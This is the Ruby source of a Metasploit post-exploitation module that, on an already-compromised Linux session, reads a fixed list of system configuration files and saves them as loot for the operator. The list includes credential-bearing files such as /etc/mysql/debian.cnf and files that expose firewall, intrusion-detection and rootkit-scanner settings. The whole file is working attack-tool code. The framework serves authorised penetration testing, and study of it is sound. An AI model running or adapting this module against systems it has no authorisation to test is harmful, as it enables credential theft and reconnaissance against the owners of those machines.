##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Gather Configurations',
        'Description' => %q{
          This module collects configuration files found on commonly installed
          applications and services, such as Apache, MySQL, Samba, Sendmail, etc.
          If a config file is found in its default path, the module will assume
          that is the file we want.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'ohdae <bindshell[at]live.com>',
        ],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter']
      )
    )
  end

  def run
    distro = get_sysinfo

    print_status "Running module against #{session.session_host} [#{get_hostname}]"
    print_status 'Info:'
    print_status "\t#{distro[:version]}"
    print_status "\t#{distro[:kernel]}"

    vprint_status 'Finding configuration files...'
    find_configs
  end

  def save(file, data, ctype = 'text/plain')
    ltype = 'linux.enum.conf'
    fname = ::File.basename(file)
    loot = store_loot(ltype, ctype, session, data, fname)
    print_good("#{fname} stored in #{loot}")
  end

  def find_configs
    configs = [
      '/etc/apache2/apache2.conf', '/etc/apache2/ports.conf', '/etc/nginx/nginx.conf',
      '/etc/snort/snort.conf', '/etc/mysql/my.cnf', '/etc/ufw/ufw.conf',
      '/etc/ufw/sysctl.conf', '/etc/security.access.conf', '/etc/shells',
      '/etc/security/sepermit.conf', '/etc/ca-certificates.conf', '/etc/security/access.conf',
      '/etc/gated.conf', '/etc/rpc', '/etc/psad/psad.conf', '/etc/mysql/debian.cnf',
      '/etc/chkrootkit.conf', '/etc/logrotate.conf', '/etc/rkhunter.conf',
      '/etc/samba/smb.conf', '/etc/ldap/ldap.conf', '/etc/openldap/openldap.conf',
      '/etc/cups/cups.conf', '/etc/opt/lampp/etc/httpd.conf', '/etc/sysctl.conf',
      '/etc/proxychains.conf', '/etc/cups/snmp.conf', '/etc/mail/sendmail.conf',
      '/etc/snmp/snmp.conf'
    ]

    configs.each do |f|
      output = read_file(f).to_s
      next if output.strip.empty?
      next if output =~ /No such file or directory/

      save(f, output)
    end
  end
end
